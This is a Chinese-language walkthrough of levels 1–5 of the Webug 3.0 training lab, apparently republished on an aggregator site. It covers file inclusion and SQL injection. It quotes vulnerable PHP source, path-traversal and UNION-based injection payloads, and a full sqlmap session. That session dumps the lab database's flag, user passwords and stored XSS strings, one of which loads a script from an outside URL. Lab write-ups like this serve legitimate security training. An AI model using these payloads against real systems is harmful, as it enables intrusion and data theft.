Webug3.0通關筆記17 中級進階(第01-05關)

目錄

第一關 出來點東西吧

1.打開靶場

2.源碼分析

3.源碼修正

?4.文件包含漏洞滲透

第二關 提交方式是怎樣的啊?

1.打開靶場

2.源碼分析

3.滲透實戰

(1)bp改包法

?(2)POST法滲透

第三關 我還是一個注入

1.打開靶場

?2.源碼分析

3.SQL注入滲透

(1)bp抓包

(2)獲取列數

(3)獲取回顯

(4)獲取數據庫名

(5)獲取當前數據庫所以表名

(6)獲取flag表列名

(7)獲取flag字段

第四關 APK里面有一個FLAG

1.打開靶場

2.Android Killer滲透

第五關 時間注入

1.打開靶場

2.源碼分析

?3.sqlmap注入滲透

(1)注入命令

(2)完整交互

4.總結


本系列專欄完成webug3中級滲透靶場關卡的通關,這幾個關卡也有些小bug,需要修復后才可以完成通關。本小節通過webug靶場滲透中級進階部分,完成01-05個關卡,包括文件包含漏洞、SQL注入漏洞等。

第一關 出來點東西吧

1.打開靶場


打開后如下所示,只不過在country發生變化時并沒有發生什么變換,看起來代碼應該是有什么bug。

http://192.168.71.1/webug3/pentest/test/13/?country=england.php

2.源碼分析

如下所示包含require_once函數的處理,并且沒有對輸入參數進行任何過濾,很明顯包含文件包含漏洞。

<?php
//禁用錯誤報告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if(isset($_POST["flag"]))
{$flag=$_POST["flag"];$flag = mysql_real_escape_string($flag);//防止SQL注入if(md5("18c59df6506274822e273ff552406ba7")==md5($flag)){echo "<font color='green'>success,請記錄您的flag</font>";}else{echo "<font color='red'>世界等待您的發現!!</font>";}
}
?>
<!DOCTYPE html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<title>想看看外面的世界</title>
<meta name="description" content="Test">
<meta name="author" content="MRYE+">
</head>
<body>
<hr/>
<form id="test" action="?" method="get" >
<label for="username">請選擇世界</label>
<select name="country"> 
<option value="usa.php">美國</option>
<option value="england.php">英國</option>
<option value="thailand.php">泰國</option>
<option value="australia.php">澳洲</option>
</select>
<input type="submit" value="Go">
</form>
<hr/>
<form action="" method="post">
<label for="username">請輸入flag.</label>
<input type="text" id="flag" name="flag" size="60px">
<input type="submit" value="Pass">
</form>
<hr/>
<?php
if( $_GET ) 
{ 
$file=$_GET['country']; 
require_once "$file";
}
?>
</body>
</html>

3.源碼修正

之所以當前源碼不對,就是因為文件包含的路徑不對,當前源碼路徑如下所示。

而幾個country所對應的php文件卻在cc目錄下,如下所示。

關于文件包含相關的源碼,很明顯直接包含country的php文件不正確,應該加上cc這個子目錄再去包含才ok。

if( $_GET ) 
{ 
$file=$_GET['country']; 
require_once "$file";
}

?這部分的源碼需要修改如下。

if( $_GET ) 
{ 
$file=$_GET['country']; 
require_once "\\cc\\"."$file";
}

完整的源碼修改為如下內容。

<?php
//禁用錯誤報告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if(isset($_POST["flag"]))
{$flag=$_POST["flag"];$flag = mysql_real_escape_string($flag);//防止SQL注入if(md5("18c59df6506274822e273ff552406ba7")==md5($flag)){echo "<font color='green'>success,請記錄您的flag</font>";}else{echo "<font color='red'>世界等待您的發現!!</font>";}
}
?>
<!DOCTYPE html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<title>想看看外面的世界</title>
<meta name="description" content="Test">
<meta name="author" content="MRYE+">
</head>
<body>
<hr/>
<form id="test" action="?" method="get" >
<label for="username">請選擇世界</label>
<select name="country"> 
<option value="usa.php">美國</option>
<option value="england.php">英國</option>
<option value="thailand.php">泰國</option>
<option value="australia.php">澳洲</option>
</select>
<input type="submit" value="Go">
</form>
<hr/>
<form action="" method="post">
<label for="username">請輸入flag.</label>
<input type="text" id="flag" name="flag" size="60px">
<input type="submit" value="Pass">
</form>
<hr/>
<?php
if( $_GET ) 
{ 
$file=$_GET['country']; 
require_once "\\cc\\"."$file";
}
?>
</body>
</html>

修正源碼后,再次進入到主頁,選擇英國。

?選擇美國,如下所示。

?4.文件包含漏洞滲透

訪問根目錄下的README.md文件,路徑如下所示。

?country=../../../../README.md

?如下所示滲透成功。http://192.168.71.1/webug3/pentest/test/13/?country=../../../../README.mdhttp://192.168.71.1/webug3/pentest/test/13/?country=../../../../README.md

第二關 提交方式是怎樣的啊?

1.打開靶場

點進后如下所示。

http://192.168.71.1/webug3/pentest/test/14/

隨機點餐選擇一個菜品后,點擊go,注意此時開啟bp抓包,如下所示彈出照片。

bp抓包結果如下所示,很明顯這個是通過post傳遞的參數。

2.源碼分析

如下所示,源碼中出現require_once函數,并且未對參數進行過濾,很明顯具有文件包含漏洞。

<?php
//禁用錯誤報告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if(isset($_POST["flag"]))
{$flag=$_POST["flag"];$flag = mysql_real_escape_string($flag);//防止SQL注入if(md5("75ca0cecfa8df5a93f0E69ba1098d5316")==md5($flag)){echo "<font color='green'>success,請記錄您的flag</font>";}else{echo "<font color='red'>世界等待您的發現!!</font>";}
}
?>
<!DOCTYPE html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<title>外賣專場</title>
<meta name="description" content="Test">
<meta name="author" content="MRYE+">
</head>
<body>
<hr/>
<form id="test" action="?" method="post" >
<label for="username">請點餐</label>
<select name="dish">
<option value="shanghai.php">滬菜</option>
<option value="hangzhou.php">杭幫菜</option>
<option value="sichuan.php">川湘菜</option>
<option value="west.php">西餐</option>
</select>
<input type="submit" value="Go">
</form>
<hr/>
<form action="" method="post">
<label for="username">請輸入flag.</label>
<input type="text" id="flag" name="flag" size="60px">
<input type="submit" value="Pass">
</form>
<hr/>
<?php
if( $_POST  ) 
{ 
$file=$_POST ['dish']; 
require_once "$file";
}
?>
</body>
</html>

相關的文件包含處理源碼如下,參數為dish,使用POST進行傳參。

if( $_POST  ) 
{ 
$file=$_POST ['dish']; 
require_once "$file";
}

3.滲透實戰

(1)bp改包法

post的參數設置為如下所示。

dish=../../../README.md

?(2)POST法滲透

post的參數設置如下所示。

dish=../../../README.md

使用firefox的hackbar進行滲透,如下所示。

第三關 我還是一個注入

1.打開靶場

http://192.168.71.1/webug3/pentest/test/15/

?2.源碼分析

如下所示注入點為HOST,并且對union,select和or關鍵字進行提示,接下來就對傳入的參數進行SQL語句,故而存在SQL注入漏洞。

<?php
//禁用錯誤報告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
header("X-Powered-By: MrYe");
echo "<title>管理員遺失的憑據</title>";
require_once 'conn.php';
$query = "select * from goods ";//構建查詢語句
#x-forword-for:yjsif (isset($_SERVER['HTTP_HOST'])) { 
if(strstr($_SERVER['HTTP_HOST'],"union")||strstr($_SERVER['HTTP_HOST'],"select")||strstr($_SERVER['HTTP_HOST'],"or")){echo "您改變了瀏覽器發送的數據,并輸入了<font color='red'>".$_SERVER['HTTP_HOST']."</font><br/>如果正確顯示了得到的結果,請截圖證明!!!"; 
$query=$query.$_SERVER['HTTP_HOST'];
}else{echo "<font color='red'>請幫管理員找到憑據。</font>";
}
} $result = mysql_query($query);//執行查詢if (!$result) {die("could not to the database\n" . mysql_error());
}if (mysql_numrows($result)<=0) {//恢復1條數據$insertSql = "insert into user(gname, gprice,gnum) values('蘋果', 1000,20) ";$result = mysql_query($insertSql);echo "<script type='text/javascript'>alert('數據被挖空,請稍候,數據恢復中~~~~!');location.href='index.php'</script>";
}else{echo "<hr/></br>";echo "今日水果特價,歡迎選購!"."</br><marquee style='WIDTH: 200px; HEIGHT: 30px' scrollamount='2' direction='left' >清倉大處理,最后一天大甩賣了!!</marquee >";echo "<hr/></br>";
while($result_row=mysql_fetch_row(($result)))//取出結果并顯示
{
$gname=$result_row[1];
$gprice=$result_row[2];
$gnum=$result_row[3];echo "名稱:".$gname."</br>";
echo "價格:".$gprice."</br>";
echo "數量:".$gnum."</br>";
echo "<hr/>";}
}

關于Header首部的SQL調用語句處理如下所示,分析就是當出現union,select和or這三個關鍵字任意內容時,就會執行基于http_host參數進行注入的內容。

$query = "select * from goods ";
if(strstr($_SERVER['HTTP_HOST'],"union")||strstr($_SERVER['HTTP_HOST'],"select")||strstr($_SERVER['HTTP_HOST'],"or")){echo "您改變了瀏覽器發送的數據,并輸入了<font color='red'>".$_SERVER['HTTP_HOST']."</font><br/>如果正確顯示了得到的結果,請截圖證明!!!"; 
$query=$query.$_SERVER['HTTP_HOST'];
}

很明顯SQL注入語句。

"select * from goods ".$_SERVER['HTTP_HOST']

也就是說這使得host參數需要是放到select * from goods語句后面。

union
order by
or

3.SQL注入滲透

根據提示,注入點在host處。如果使用自動化工具sqlmap的話,需要使用 --level 3 參數時 sqlmap 會測試一些 HTTP 請求頭的參數,但不會測試 Host 參數,所以需要使用 -p Host 參數來指定測試。此外由于 Host 參數與偽靜態頁面類似,所以還需要用 * 星號標記一下注入點。

這里要提一下無法使用sqlmap進行滲透,這是因為正常情況下,注入點為Host,但是卻是與select * from goods拼接成功,而默認情況下Host參數中需要默認為服務器的ip地址,故而sqlmap無法直接使用。

(1)bp抓包

bp抓包,右鍵選擇發送到repeater,如下所示。

(2)獲取列數

order by 4 #成功
order by 5 #失敗

?如下所示,共有4列。

(3)獲取回顯

如下所示所有內容均可以回顯。

union select 1,2,3,4

(4)獲取數據庫名

如下所示,在第4個回顯位把數據庫顯示出來為pentesterlab。

Host: union select 1,2,3,database()

(5)獲取當前數據庫所以表名

Host: union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='pentesterlab'

如下所示獲取到comment,flag,goods,user幾個表格 。

(6)獲取flag表列名

Host: union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag'

如上所示列名為名稱:id,flag,id,flag。

(7)獲取flag字段

Host: union select 1,flag,3,4 from flag

如上所示,獲取到flag為名稱:204f704fbbcf6acf398ffee11989b377。

第四關 APK里面有一個FLAG

1.打開靶場

打開關卡后提示文件下載,將文件下載下來。

2.Android Killer滲透

打開后雙擊MainActivity,并在右面找到如下內容。

將這些內容復制粘貼下來。

    const-string v0, "YWZlOGU5MWI="const-string v1, "NGM1NGFkOGVi"const-string v2, "MzA0M2UzNjY="const-string v3, "ZGJjYTA1Zg=="

對齊進行base64解碼,如下所示。

    const-string v0, "afe8e91b"const-string v1, 4c54ad8eb"const-string v2, "3043e366"const-string v3, "dbca05f"

將其拼湊后flag即為afe8e91b4c54ad8eb3043e366dbca05f

flag{afe8e91b4c54ad8eb3043e366dbca05f}

第五關 時間注入

1.打開靶場

URL鏈接如下所示。

http://192.168.71.1/webug3/pentest/test/time/

2.源碼分析

通過源碼可知通過對$_REQUEST['type']參數進行SQL查詢,并且查詢前并未對參數進行過濾,故而很明顯存在SQL注入漏洞。

<?php
//禁用錯誤報告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
header("X-Powered-By: MrYe");
echo "<title>把服務器搞攤</title>";
require_once 'conn.php';
$query = "select  ";//構建查詢語句
#x-forword-for:yjs$id=$_REQUEST['type'];if (isset($_REQUEST['type'])) { $query=$query.$id." from goods ";
}else{echo "<font color='red'>請幫管理員找到憑據。使用?type=</font>";
}
$result = mysql_query($query);//執行查詢if (!$result) {echo "管理員正在盯著你幫他找憑據";
}if (mysql_numrows($result)<=0) {}else{echo "任性的網頁!"."</br>";
if($result_row=mysql_fetch_row(($result)))//取出結果并顯示
{
$gname=$result_row[0];
$gprice=$result_row[1];echo "名稱:".$gname."</br>";
echo "價格:".$gprice."</br>";
echo "<hr/>";}
}

?3.sqlmap注入滲透

(1)注入命令

sqlmap -u python sqlmap.py -u http://192.168.71.1/webug3/pentest/test/time/index.php?type=1 --current-db --dump --batch

如下所示存在注入漏洞。

(2)完整交互

GET parameter 'type' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 323 HTTP(s) requests:
---
Parameter: type (GET)Type: boolean-based blindTitle: Boolean-based blind - Parameter replace (original value)Payload: type=(SELECT (CASE WHEN (3728=3728) THEN 1 ELSE (SELECT 1367 UNION SELECT 8337) END))Type: inline queryTitle: Generic inline queriesPayload: type=(SELECT CONCAT(CONCAT('qxkzq',(CASE WHEN (1213=1213) THEN '1' ELSE '0' END)),'qxxxq'))Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: type=1 AND (SELECT 4813 FROM (SELECT(SLEEP(5)))jPke)
---
[06:17:38] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[06:17:38] [INFO] fetching current database
[06:17:38] [INFO] retrieved: 'pentesterlab'
current database: 'pentesterlab'
[06:17:38] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[06:17:38] [INFO] fetching current database
[06:17:38] [INFO] fetching tables for database: 'pentesterlab'
[06:17:38] [INFO] retrieved: 'comment'
[06:17:38] [INFO] retrieved: 'flag'
[06:17:38] [INFO] retrieved: 'goods'
[06:17:38] [INFO] retrieved: 'user'
[06:17:38] [INFO] fetching columns for table 'flag' in database 'pentesterlab'
[06:17:38] [INFO] retrieved: 'id'
[06:17:38] [INFO] retrieved: 'int(20)'
[06:17:38] [INFO] retrieved: 'flag'
[06:17:38] [INFO] retrieved: 'varchar(70)'
[06:17:38] [INFO] fetching entries for table 'flag' in database 'pentesterlab'
[06:17:38] [INFO] retrieved: '204f704fbbcf6acf398ffee11989b377'
[06:17:38] [INFO] retrieved: '1'
[06:17:38] [INFO] recognized possible password hashes in column 'flag'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[06:17:38] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[06:17:38] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[06:17:38] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[06:17:38] [INFO] starting 4 processes 
[06:17:50] [WARNING] no clear password(s) found                                                                                                                                                              
Database: pentesterlab
Table: flag
[1 entry]
+----+----------------------------------+
| id | flag                             |
+----+----------------------------------+
| 1  | 204f704fbbcf6acf398ffee11989b377 |
+----+----------------------------------+[06:17:50] [INFO] table 'pentesterlab.flag' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.1/dump/pentesterlab/flag.csv'
[06:17:50] [INFO] fetching columns for table 'comment' in database 'pentesterlab'
[06:17:50] [INFO] retrieved: 'id'
[06:17:50] [INFO] retrieved: 'int(10)'
[06:17:50] [INFO] retrieved: 'content'
[06:17:50] [INFO] retrieved: 'varchar(50)'
[06:17:50] [INFO] retrieved: 'time'
[06:17:50] [INFO] retrieved: 'datetime'
[06:17:50] [INFO] fetching entries for table 'comment' in database 'pentesterlab'
[06:17:50] [INFO] retrieved: '2016-10-18 07:14:13'
[06:17:50] [INFO] retrieved: '1'
[06:17:50] [INFO] retrieved: '1'
[06:17:50] [INFO] retrieved: '2016-10-18 07:14:21'
[06:17:50] [INFO] retrieved: '1'
[06:17:50] [INFO] retrieved: '2'
[06:17:50] [INFO] retrieved: '2016-10-18 07:22:10'
[06:17:50] [INFO] retrieved: '1'
[06:17:51] [INFO] retrieved: '3'
[06:17:51] [INFO] retrieved: '2016-10-18 07:22:39'
[06:17:51] [INFO] retrieved: '1'
[06:17:51] [INFO] retrieved: '4'
[06:17:51] [INFO] retrieved: '2017-01-19 01:33:57'
[06:17:51] [INFO] retrieved: '<script>alert(/topsec/)</script>'
[06:17:51] [INFO] retrieved: '5'
[06:17:51] [INFO] retrieved: '2017-01-19 01:37:06'
[06:17:51] [INFO] retrieved: '<script src=http://t.cn/RM11mCJ></script>'
[06:17:51] [INFO] retrieved: '6'
[06:17:51] [INFO] retrieved: '2022-12-02 05:38:13'
[06:17:51] [INFO] retrieved: '<script>alert(document.cookie)</script>?'
[06:17:51] [INFO] retrieved: '7'
Database: pentesterlab
Table: comment
[7 entries]
+----+---------------------+-------------------------------------------+
| id | time                | content                                   |
+----+---------------------+-------------------------------------------+
| 1  | 2016-10-18 07:14:13 | 1                                         |
| 2  | 2016-10-18 07:14:21 | 1                                         |
| 3  | 2016-10-18 07:22:10 | 1                                         |
| 4  | 2016-10-18 07:22:39 | 1                                         |
| 5  | 2017-01-19 01:33:57 | <script>alert(/topsec/)</script>          |
| 6  | 2017-01-19 01:37:06 | <script src=http://t.cn/RM11mCJ></script> |
| 7  | 2022-12-02 05:38:13 | <script>alert(document.cookie)</script>?  |
+----+---------------------+-------------------------------------------+[06:17:51] [INFO] table 'pentesterlab.comment' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.1/dump/pentesterlab/comment.csv'
[06:17:51] [INFO] fetching columns for table 'goods' in database 'pentesterlab'
[06:17:51] [INFO] retrieved: 'id'
[06:17:51] [INFO] retrieved: 'int(10)'
[06:17:51] [INFO] retrieved: 'gname'
[06:17:51] [INFO] retrieved: 'varchar(20)'
[06:17:51] [INFO] retrieved: 'gprice'
[06:17:51] [INFO] retrieved: 'float'
[06:17:51] [INFO] retrieved: 'gnum'
[06:17:51] [INFO] retrieved: 'int(10)'
[06:17:51] [INFO] fetching entries for table 'goods' in database 'pentesterlab'
[06:17:51] [INFO] retrieved: '蘋果'
[06:17:51] [INFO] retrieved: '20'
[06:17:51] [INFO] retrieved: '1000'
[06:17:51] [INFO] retrieved: '1'
[06:17:51] [INFO] retrieved: '梨'
[06:17:51] [INFO] retrieved: '70'
[06:17:51] [INFO] retrieved: '500.09'
[06:17:51] [INFO] retrieved: '2'
Database: pentesterlab
Table: goods
[2 entries]
+----+------+-------+--------+
| id | gnum | gname | gprice |
+----+------+-------+--------+
| 1  | 20   | 蘋果  | 1000   |
| 2  | 70   | 梨    | 500.09 |
+----+------+-------+--------+[06:17:51] [INFO] table 'pentesterlab.goods' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.1/dump/pentesterlab/goods.csv'
[06:17:51] [INFO] fetching columns for table 'user' in database 'pentesterlab'
[06:17:51] [INFO] retrieved: 'uid'
[06:17:51] [INFO] retrieved: 'int(11)'
[06:17:51] [INFO] retrieved: 'uname'
[06:17:51] [INFO] retrieved: 'varchar(20)'
[06:17:51] [INFO] retrieved: 'pwd'
[06:17:51] [INFO] retrieved: 'varchar(20)'
[06:17:51] [INFO] retrieved: 'bill'
[06:17:51] [INFO] retrieved: 'float'
[06:17:52] [INFO] fetching entries for table 'user' in database 'pentesterlab'
[06:17:52] [INFO] retrieved: '50.9899'
[06:17:52] [INFO] retrieved: '123456'
[06:17:52] [INFO] retrieved: '1'
[06:17:52] [INFO] retrieved: 'tom'
[06:17:52] [INFO] retrieved: '0'
[06:17:52] [INFO] retrieved: '123456'
[06:17:52] [INFO] retrieved: '2'
[06:17:52] [INFO] retrieved: 'admin'
Database: pentesterlab
Table: user
[2 entries]
+-----+--------+---------+-------+
| uid | pwd    | bill    | uname |
+-----+--------+---------+-------+
| 1   | 123456 | 50.9899 | tom   |
| 2   | 123456 | 0       | admin |
+-----+--------+---------+-------+[06:17:52] [INFO] table 'pentesterlab.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.1/dump/pentesterlab/user.csv'
[06:17:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.1'
[06:17:52] [WARNING] your sqlmap version is outdated[*] ending @ 06:17:52 /2022-12-02/

4.總結

SQL注入主要分析幾個內容:

(1)閉合方式是什么?中級進階第05關是數字型無閉合

(2)注入類別是什么?時間盲注

(3)是否過濾了關鍵字?很明顯通過源碼,無過濾

了解清楚如上因素即可進行SQL注入滲透, 通常sqlmap很方面會提高效率,但是建議初學者可以慢慢學會手注后在看是使用自動化工具。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/80875.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/80875.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/80875.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C語言復習筆記--內存函數

在復習完字符函數和字符串函數之后,今天讓我們復習一下內存函數吧.這一塊的東西不太多,并且與之前的字符串函數有一些地方很相似,所以這里應該會比較輕松. memcpy使用和模擬實現 老規矩,先看函數原型 void * memcpy ( void * destination, const void * source, size_t num );…

【Unity AR開發插件】一、高效熱更新:Unity AR 插件結合 HybridCLR 與 ARFoundation 的開源倉庫分享

摘要 本篇博客詳細介紹了我基于 HybridCLR 與 AR Foundation 的 Unity AR 開發插件&#xff0c;旨在為開發者提供高效的跨平臺熱更新方案。文章從背景與動機出發&#xff0c;覆蓋一鍵安裝工具、環境配置、熱更新數據制作與示例程序運行等核心模塊&#xff0c;并展示代碼結構與使…

數據分析(四):Python Pandas數據輸入輸出全流程指南

Python Pandas數據輸入輸出全流程指南 1. 引言 數據輸入輸出(I/O)是數據分析工作流中最基礎也是最重要的環節之一。Pandas提供了豐富的數據讀寫接口&#xff0c;支持從各種文件格式和數據庫中加載數據&#xff0c;以及將處理后的數據保存到不同存儲系統中。本文將全面介紹Pan…

人工智能與機器學習:Python從零實現性回歸模型

?? 向所有學習者致敬! “學習不是裝滿一桶水,而是點燃一把火。” —— 葉芝 我的博客主頁: https://lizheng.blog.csdn.net ?? 歡迎點擊加入AI人工智能社區! ?? 讓我們一起努力,共創AI未來! ?? 前言 在 AI 的熱潮中,很容易忽視那些讓它得以實現的基礎數學和技…

Ubuntu18.04更改時區(圖文詳解)

Ubuntu18.04更改時區 1、前言2、更改時區3、總結 1、前言 記錄一下Ubuntu18.04更改時區的過程&#xff0c;方便自己日后回顧&#xff0c;也可以給有需要的人提供幫助。 2、更改時區 輸入下面的指令&#xff0c;進行時區選擇 tzselect輸入4選擇亞洲&#xff0c;輸入9選擇中…

vue2 項目使用vite2 升級 vite4 后,對別名的解析有問題,導致打包后項目無法正常運行

問題描述&#xff1a; 之前使用的 vite2 版本&#xff0c;需要在 vite.config 里配置 vue 別名&#xff0c;不然會有commonjs 的依賴包找不到 vue&#xff0c;因為 vite 默認使用 esm 版本。 vue: vue/dist/vue.common.prod.js 在 vite2 中可以正常進行打包上線&#xff0c;…

民辦生從零學C的第十二天:指針(1)

每日勵志&#xff1a;拼搏十年&#xff0c;征戰沙場&#xff0c;不忘初心&#xff0c;努力成為一個渾身充滿銅臭味的有錢人。 一.內存和地址 1.內存 計算機內存是一系列存儲單元的集合&#xff0c;每個存儲單元都有唯一的地址來標識。這些存儲單元用于存儲程序的數據和指令。…

用Postman驗證IAM Token的實際操作

當我們需要用Postman發送一個最簡單的請求去驗證Token的時候我們該怎么辦&#xff1f; 【一、步驟】 步驟1&#xff1a;打開Postman&#xff0c;新建一個GET請求 請求地址填&#xff1a; https://iam.cn-north-4.myhuaweicloud.com/v3/auth/projects 解釋一下&#xff1a;…

關于常量指針和指向常量的指針

關于指針&#xff0c;對于常量指針和指向常量的指針也是傻傻分不清。看到定義時&#xff0c;不知道是指針不能變&#xff0c;還是指針指向的內容不能變量。 先看形式&#xff1a; const char * A; char * const B; 這兩種有什么區別&#xff1f;傻傻分不清。 A這種定義&am…

unity 讀取csv

1.讀取代碼 string filePath Application.streamingAssetsPath "\\data.csv"; public List<MovieData> movieData new List<MovieData>(); private void ReadCSV(string filePath) { List<List<string>> data new List<…

安達發|高效智能塑料切割數控系統 - 全自動化軟件解決方案

在當今的制造業中&#xff0c;塑料作為一種輕便、耐用且成本效益高的材料&#xff0c;被廣泛應用于各個領域。隨著科技的進步和市場需求的變化&#xff0c;塑料加工行業正面臨著前所未有的挑戰和機遇。為了提高生產效率&#xff0c;降低成本&#xff0c;并滿足日益嚴格的質量標…

c#接口_抽象類_多態學習

c#接口_抽象類_多態學習 學習日志 關于&#xff1a;c#接口_抽象類_多態的學習記錄。 一、概念 1. 多態&#xff08;Polymorphism&#xff09; 定義&#xff1a;同一操作作用于不同對象時&#xff0c;表現出不同的行為。實現方式&#xff1a; 繼承 方法重寫&#xff08;ov…

智能硬件行業售后服務管理:提升客戶體驗的關鍵所在

在當今數字化浪潮的推動下&#xff0c;智能硬件行業正以前所未有的速度蓬勃發展。從智能家居設備的普及&#xff0c;到智能穿戴產品的多樣化&#xff0c;再到智能辦公設備的廣泛應用&#xff0c;智能硬件已經深入到我們生活的方方面面。據市場研究機構預測&#xff0c;未來幾年…

Vue3 里 CSS 深度作用選擇器 :deep()

&#x1f3af; 解釋 在 Vue 組件里&#xff0c;CSS 默認是 scoped&#xff08;作用域限定的&#xff09;&#xff0c;只對當前組件生效。 如果你想在 scoped 樣式里&#xff0c;穿透到子組件的內部元素&#xff0c;就要用 :deep()。 ?? 示例 比如&#xff0c;你有一個子組件…

仙宮云ComfyUI —【Wan2.1】AI視頻生成部署

【Wan2.1】AI視頻生成本地部署與使用技巧全面詳解_嗶哩嗶哩_bilibili 所有模型下載&#xff1a;https://pan.quark.cn/s/9d793aa1b258 Runninghub本期課程工作流下載&#xff08;可獲得1000RH幣&#xff09;&#xff1a;https://www.runninghub.cn/?utm_sourcekol01-RH145 仙…

LabVIEW 在測控領域的深度開發與未來發展趨勢研究報告 (2025-2030)(原創作品使用請注明出處,三連)

## LabVIEW 在測控領域的深度開發與未來發展趨勢研究報告 (2025-2030) ### 引言 LabVIEW(Laboratory Virtual Instrument Engineering Workbench)自 1986 年由美國國家儀器公司(NI)發布以來,憑借其獨特的圖形化編程語言(G 語言)和強大的硬件集成能力,已成為全球工程師和…

政策支持與市場驅動:充電樁可持續發展的雙輪引擎

隨著全球能源轉型加速&#xff0c;新能源汽車成為實現低碳交通的重要方向。然而&#xff0c;充電基礎設施不足仍是制約其普及的關鍵瓶頸。當前&#xff0c;國際主流的充電樁運營模式包括政府推動、電網企業推動及汽車廠商推動三種模式&#xff0c;但單一模式均存在顯著局限性。…

JVM——垃圾收集策略

GC的基本問題 什么是GC&#xff1f; GC 是 garbage collection 的縮寫&#xff0c;意思是垃圾回收——把內存&#xff08;特別是堆內存&#xff09;中不再使用的空間釋放掉&#xff1b;清理不再使用的對象。 為什么要GC&#xff1f; 堆內存是各個線程共享的空間&#xff0c…

用Java模擬打字:深入解析 java.awt.Robot 的鍵盤控制藝術

作為開發者&#xff0c;我們有時會遇到需要自動化用戶界面交互的場景&#xff0c;比如自動化測試、腳本編寫、或者制作一些輔助工具。而模擬鍵盤輸入&#xff0c;尤其是“打字”&#xff0c;是這類自動化任務中非常基礎且常見的一環。 在 Java 中&#xff0c;實現這一目標的利…

JavaScript 入門全講解

JavaScript 入門全講解 一、前言&#xff1a;為什么學習 JavaScript&#xff1f;二、JavaScript 簡史與發展三、JavaScript 基礎語法3.1 變量聲明&#xff1a;var、let、const3.2 數據類型3.3 類型判斷3.4 類型轉換 四、運算符與表達式五、流程控制5.1 條件判斷5.2 switch 語句…